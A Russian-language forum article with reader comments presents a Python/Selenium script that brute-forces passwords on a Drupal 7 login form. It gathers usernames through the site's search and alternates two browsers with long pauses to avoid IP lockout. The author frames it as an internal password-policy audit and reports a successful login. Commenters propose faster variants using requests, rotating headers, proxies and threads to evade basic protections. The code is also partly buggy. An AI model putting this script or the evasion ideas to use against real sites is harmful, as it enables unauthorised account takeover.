Конкурс Python+Selenium.Перебор пароля в формах авторизации.

Введение
Приветствую всех специалистов и заинтерисованных Информационной Безопасностью на этом замечательном ресурсе. Хотел бы начать цикл своих статей, возможно кому-нить пригодится в работе или сподвигнет на изучение языков программирования.

Пожалуй начнем!Я считаю, что каждый ИБ-спец должен уметь программировать, хотя бы функционально, но уметь. Лучший вариант для изучения конечно же Python, он удобен и прост, а так же он прекрасно подходит для автоматизации повседневных задач на скучной работе.

Сегодня мы напишем скрипт(программу, кому как удобнее) для проверки паролей на сайте c формой авторизации со своими маленькими фишками. Я по своей работе столкнулся с CMS Drupal 7, поэтому и скрипт написан под него.

Подготовка
Представим, что в организации, где вы работаете есть сайт и так совпали звезды, что на него завязана довольно серьезная работа, в моем случае это была отчетность и некоторые цифры, которые меняются очень часто для продажи/покупки билетов разных стран. То есть это вполне себе актив, который нужно защищать.

И вот Вы - молодой специалист ИБ находите на нем форму авторизации и решаете проверить самую первую политику на нем — парольную. Сказано — делаем!

Для того, что бы проверить на пароли CMS нужно хотя бы знать логины для данного сайта, не перебирать же любые, а на сайте нет никакой информации по пользователю, который её опубликовал. Нас выручит поиск по сайту, почему(?), он как раз и выдает в результатах поиска пользователей данного сайта, проверенно на многих подобных, работает. Вводим «1» в поиск, что бы логинов вывалило побольше и собираем Profit.

upload_2017-11-30_22-58-14.png

Как видно из рисунка нам хватит и одного для написания скрипта. Хорошо, логины есть, а как же пароли, спросите Вы. Для простой проверки я просто вбил в Google «top 100 password» и забрал первый попавшийся список, который выдал мне знаменитый поисковик.

Выбор автоматизации
Работать с формами сайта, да еще и это все автоматизировать, да желательно наглядно, в этом вопросе нас выручит модуль - инструмент для тестирования веб-форм.

Для его работы нужны «некие драйверы»: chromedriver для работы с браузером chrome и geckodriver для работы с браузером Firefox.

Зачем нужно два браузера? Я подумал, а почему бы и нет, политики сайта возможно настроены так, что бы мониторить количество запросов с одного ip-адреса и в случае чего заблокировать доступ на какое-то время. А если мы будем эмулировать два(три) браузера с какой-либо периодичностью, то может быть сойдем за некий NAT и сервер подумает, что нас много, просто IP один (Но это не точно).

Находим вышеописанные драйверы на страницах проекта selenium и складываем их в папку проекта. Не забываем так же подтянуть и сам selenium:
Код:
pip3 install -U selenium

upload_2017-11-30_23-4-18.png
Отлично половина дела уже сделана, остается написать наш код.

Пишем код
Для начала мы подключим все необходимые модули в наш проект:
Код:
# -*- coding:utf-8 -*-
from selenium import webdriver
from selenium.webdriver.chrome import service
from selenium.webdriver.common.keys import Keys
from time import sleep
import os
import sys
import argparse
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
from selenium.webdriver.firefox.firefox_binary import FirefoxBinary

Что бы было все по взрослому, мы используем стандартный модуль agparser для создания некоего меню. Описываем функцию для того, что бы наш скрипт принимал аргументы из командной строки, аргументов будет два: логин и url формы авторизации:
Код:
def createParser ():
    parser = argparse.ArgumentParser(description='Process some value\'s')
    parser.add_argument('-url', '--u' , help = 'Add url admin form for drupal like www.site.org/user',dest='url')
    parser.add_argument ('-login', '--l', help='Add user what you want to check',dest='login')
    return parser

Теперь напишем свой класс. Почему класс? А тут я отвечу так, я учился писать классы и решил, что было бы круто его сюда вставить, описываем класс который примет аргументы из вышеописанной функции:
Код:
class CheckPassForm():
def __init__(self,url,login):
            self.urls = url
            self.login = login

Далее мы опишем метод класса который будет поочередно вызывать метод основной логики нашего скрипта и добавим как раз в вызов нужные нам браузеры:
Код:
def PasswordChekers(self):
        keys = CheckPassForm.keys.split(', ')
        for i in keys:
            for j in range(0, len(keys)):
                if j%2 == 0:
                    CheckPassForm.ChooseDriver('Chrome',self.urls, self.login,i)               
                else:
                    CheckPassForm.ChooseDriver('Firefox',self.urls, self.login,i)
        assert "No results found." not in driver.page_source

А вот самое интересное, метод класса, который работает непосредственно с формой авторизации:
Код:
def ChooseDriver (drivername,urls,login,passwd):
    
        if drivername == 'Chrome':
            driver = webdriver.Chrome()
        else:
            binary = FirefoxBinary (r'C:\\Program Files\\Mozilla Firefox\\firefox.exe')
            fx_capabilities = DesiredCapabilities.FIREFOX.copy()
            fx_capabilities['marionette'] = True
            driver = webdriver.Firefox(firefox_binary=binary,capabilities=fx_capabilities)
    
        driver.get(urls)
        elem = driver.find_element_by_id("edit-name")
        elem.send_keys(login)
        elem_2 = driver.find_element_by_id("edit-pass")
        elem_2.send_keys(passwd)
        result = driver.find_element_by_xpath("//*[@id='edit-submit']")
        result.click()
        sleep(900)
        driver.close()
А откуда же берутся пароли?! Да вот же они в кортеже keys, я их разместил прямо в теле класса, что бы не засорять статью я оставил их три:
Код:
keys = ('123456, 12345, password')

Заканчиваем с нашим скриптом. Пропишем его похитрее, сделаем некую защиту от дурака, постараемся поймать все неправильные вводы, используя try/except и пропишем мини-хелп:
Код:
if __name__ == "__main__":
    try:
        parser = createParser()
        data = parser.parse_args()
 
        instance = CheckPassForm('http://' + data.url,data.login)
        instance.PasswordChekers()
    except TypeError:
        print ("=" * 50)
        print ("| TOP-100 passdw script does't work whitout keys | \n| \t try and watch> python main.py -h\t | ")
        print ("=" * 50)

Логика
Опишем логику нашего скрипта чуть поподробнее:
  1. Забираем аргументы из консоли:
    Код:
    parser = createParser()
    data = parser.parse_args()
  2. Создаем инстанс класса и отдаем ему наши аргументы:
    Код:
    instance = CheckPassForm('http://' + data.url,data.login)
    
    instance.PasswordChekers()
  3. PasswordChekers(self) - метод который посчитает длину кортежа keys, где хранятся пароли и примет решение на четный пароль вызывать chrome, на нечетный firefox и отдаст их арументы и выбор браузера методу ChooseDriver().
  4. ChooseDriver() - метод который откроет наш браузер, вставит в адресную строку url, найдет элементы полей авторизации: edit-name и edit-pass. Внесет в них необходимые данные.
    После этого скрипт отыщет кнопку по Xpath щелкнет по нему, выждет 15 минут и закроет драйвер.
  5. Так как у нас работает цикл for, то все действия с п.3 по п.4 повторятся заново, но с другим браузером.
Конечно я уже слышу вопросы, а как же найти элементы формы, для этого мне пришлось прослушать лекцию по автоматизации неизвестного мне лектора, который показал это очень наглядно в браузере Firefox:

upload_2017-11-30_23-15-4.png

Снизу выпадает инспектор с выделенным элементом, правой кнопкой мыши тычем по этому элементу:

upload_2017-11-30_23-15-53.png

Скопированный результат используем в нашем скрипте, аналогично ищутся элементы html edit-name и edit-pass.

Запуск
Давайте уже запустим и проверим как же оно все работает, я использую сайт, который точно знаю по какому url у него адрес формы авторизации, но логин намеренно использую не тот который нашел для демонстрации работы:

upload_2017-11-30_23-17-6.png

Запускается первый браузер:

upload_2017-11-30_23-17-51.png

Через 15 минут второй:

upload_2017-11-30_23-18-48.png

Результат в обоих случаях отрицательный:

upload_2017-11-30_23-19-35.png

Заключение
Данный скрипт не призыв к действию, а только возможность научится писать и использовать код в рабочих целях. В статье намеренно использован Drupal 7, так как он имеет политику блокировки IP по большому количеству запросов на форму авторизации, скрипт намеренно не описывает логику поведения после получения авторизации.

Скрипт был реально применен мной в своей работе, каково же было мое удивление, что на втором пароле прошла авторизация по давно забытому логину.

Спасибо что прочитали и всем удачи!

Код:
# -*- coding:utf-8 -*-
from selenium import webdriver
from selenium.webdriver.chrome import service
from selenium.webdriver.common.keys import Keys
from time import sleep
import os
import sys
import argparse
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
from selenium.webdriver.firefox.firefox_binary import FirefoxBinary

'''Большое количество запросов кидает в блок'''
 
def createParser ():
    parser = argparse.ArgumentParser(description='Process some value\'s')
    parser.add_argument('-url', '--u' , help = 'Add url admin form for drupal like www.site.org/user',dest='url')
    parser.add_argument ('-login', '--l', help='Add user what you want to check',dest='login')
    return parser


'''Класс драйвера и методов'''

class CheckPassForm():
  
    keys = ('123456, 12345, password')
  
    def __init__(self,url,login):
            self.urls = url
            self.login = login
  
    def ChooseDriver (drivername,urls,login,passwd):
      
        if drivername == 'Chrome':
            driver = webdriver.Chrome()
        else:
            binary = FirefoxBinary (r'C:\\Program Files\\Mozilla Firefox\\firefox.exe')
            fx_capabilities = DesiredCapabilities.FIREFOX.copy()
            fx_capabilities['marionette'] = True
            driver = webdriver.Firefox(firefox_binary=binary,capabilities=fx_capabilities)
      
        driver.get(urls)
        elem = driver.find_element_by_id("edit-name")
        elem.send_keys(login)
        elem_2 = driver.find_element_by_id("edit-pass")
        elem_2.send_keys(passwd)
        result = driver.find_element_by_xpath("//*[@id='edit-submit']")
        result.click()
        sleep(900)
        driver.close()     
  
    def PasswordChekers(self):
        keys = CheckPassForm.keys.split(', ')
        for i in keys:
            for j in range(0, len(keys)):
                if j%2 == 0:
                    CheckPassForm.ChooseDriver('Chrome',self.urls, self.login,i)                   
                else:
                    CheckPassForm.ChooseDriver('Firefox',self.urls, self.login,i)
        assert "No results found." not in driver.page_source
  

if __name__ == "__main__":
    try:
        parser = createParser()
        data = parser.parse_args()
  
        instance = CheckPassForm('http://' + data.url,data.login)
        instance.PasswordChekers()
    except TypeError:
        print ("=" * 50)
        print ("| TOP-100 passdw script does't work whitout keys | \n| \t try and watch> python main.py -h\t | ")
        print ("=" * 50)
 

Вложения

  • upload_2017-11-30_22-45-43.png
    upload_2017-11-30_22-45-43.png
    5,2 КБ · Просмотры: 542
  • upload_2017-11-30_23-17-48.png
    upload_2017-11-30_23-17-48.png
    2,6 КБ · Просмотры: 312
Последнее редактирование:

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Автор, спасибо! Статья очень хороша. Да и если честно говоря селениум либу на днях собирался смотреть) А тут еще и на нашем форуме про нее расписали. Огонь)
[doublepost=1512111407,1512077914][/doublepost]Но всеравно для брута использовать селениум не рационально.
-Почему?
-Дополнительная нагрузка на систему(открывается два браузера,можно ведь изменять хттп заголовки в в том числе юзер агент)
-Какая библиотека справится с брутом лучше чем селениум?
- Я могу смело советовать библиотеку requests (она выполняет все действия в консоли,опят же таки можно добавить список рандомных хттп заголовков и те же юзерагенты и прокси и много много чего для обхода базовой защиты. К тому же функцию самого брута можно использовать с многопочностю, в случае с селениум брут в 16 потоков == это 16 запущенных браузеров.
 
  • Нравится
Реакции: gushmazuko и sm0ke

sm0ke

Green Team
30.11.2017
15
46
BIT
0
Автор, спасибо! Статья очень хороша. Да и если честно говоря селениум либу на днях собирался смотреть) А тут еще и на нашем форуме про нее расписали. Огонь)
[doublepost=1512111407,1512077914][/doublepost]Но всеравно для брута использовать селениум не рационально.
-Почему?
-Дополнительная нагрузка на систему(открывается два браузера,можно ведь изменять хттп заголовки в в том числе юзер агент)
-Какая библиотека справится с брутом лучше чем селениум?
- Я могу смело советовать библиотеку requests (она выполняет все действия в консоли,опят же таки можно добавить список рандомных хттп заголовков и те же юзерагенты и прокси и много много чего для обхода базовой защиты. К тому же функцию самого брута можно использовать с многопочностю, в случае с селениум брут в 16 потоков == это 16 запущенных браузеров.

Спасибо за первую часть комментария.
По реквест модулю, звучит как вызов, да и потоки я знаю как реализовывать. Попробую сегодня набросать, может и вторая статья получится.
Селениум был выбран для наглядности, как описано в статье использовался в работе, что бы именно показать работу перебора и получения доступа высокому начальству(тип не фигней на работе занимаюсь:))
 
Последнее редактирование:
  • Нравится
Реакции: Ondrik8 и <~DarkNode~>

swap3r

Green Team
06.11.2016
71
59
BIT
0
есть ли возможность многопоточности, чтобы приблизиться к тому же zennoposter, или phantomjs
 

sm0ke

Green Team
30.11.2017
15
46
BIT
0
есть ли возможность многопоточности, чтобы приблизиться к тому же zennoposter, или phantomjs
По идее можно убрать запуск браузеров в фон, и создавать Thread инстансы, что увеличит работоспособность программы. Сейчас в замороженном состоянии из-за челенджа по питону вторая версия скрипта с базой паролей на 1000 штук, базой поддельных хэдеров и многопоточностью. Состояние исполнения 70%.
 
  • Нравится
Реакции: Ondrik8

Ondrik8

prodigy
Green Team
08.11.2016
1 129
3 189
BIT
0
ооочень шикарная статья! давно ждал подобное не удержался написать похвалу в твою сторону! Спасибо)
 
  • Нравится
Реакции: sm0ke
A

asdffs

статья хорошая как описание работы с селениум, но такой брут на впске за $7 не погоняешь конечно
 

swap3r

Green Team
06.11.2016
71
59
BIT
0
Спасибо за статью.
Я для похожих целей в многопотоке использую zennoposter (платно и не сильно дешево), можно еще browser automation studio (bablosoft.com) использовать (этот бесплатный, но интерфейс очень странный).
Но, хотелось бы еще научиться этим методом поднимать инстансы (в идеале файерфоксовские с плагинами со сменой юзерагента и остального) во многопотоке с использованием отдельных настроек (прокси, юзерагенты, таймзоны, и все остальное, что детектят детекты) для каждого инстанса. Уважаемый Smoke, сможете об этом написать немного (возможно, не только мне интересно будет)? Причем, интересует не столько брут чего-то, сколько выбор элементов на странице, клик по ним, парсинг html текста страницы, итд.
 
  • Нравится
Реакции: sm0ke

sm0ke

Green Team
30.11.2017
15
46
BIT
0
Спасибо за статью.
Я для похожих целей в многопотоке использую zennoposter (платно и не сильно дешево), можно еще browser automation studio (bablosoft.com) использовать (этот бесплатный, но интерфейс очень странный).
Но, хотелось бы еще научиться этим методом поднимать инстансы (в идеале файерфоксовские с плагинами со сменой юзерагента и остального) во многопотоке с использованием отдельных настроек (прокси, юзерагенты, таймзоны, и все остальное, что детектят детекты) для каждого инстанса. Уважаемый Smoke, сможете об этом написать немного (возможно, не только мне интересно будет)? Причем, интересует не столько брут чего-то, сколько выбор элементов на странице, клик по ним, парсинг html текста страницы, итд.
Готовится вторая часть на библиотеке реквестс. Готовность 70%. Как опубликую ее подумаю как реализовать Ваше предложение в условиях тематики Codeby, думаю вам стоит сформулировать более четкий запрос мне в лс. Там точно и определимся.
 
  • Нравится
Реакции: comedy_club и swap3r

swap3r

Green Team
06.11.2016
71
59
BIT
0
sm0ke, спасибо. Да у меня не особо есть какие-то запросы, я для себя все равно на зеннопостере реализовую то, что мне нужно. Я больше к тому, чтобы кто-то потом мог реализовывать простые элементарные вещи по скрапингу во многопотоке, имхо, это будет интересно.
 
C

comedy_club

Готовится вторая часть на библиотеке реквестс. Готовность 70%. Как опубликую ее подумаю как реализовать Ваше предложение в условиях тематики Codeby, думаю вам стоит сформулировать более четкий запрос мне в лс. Там точно и определимся.
Интересную статью ты написал. Будет ли статья по requests? особенно интересны были бы Post запросы, разбор всех заголовков и параметров которые необходимы для успешного запроса.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!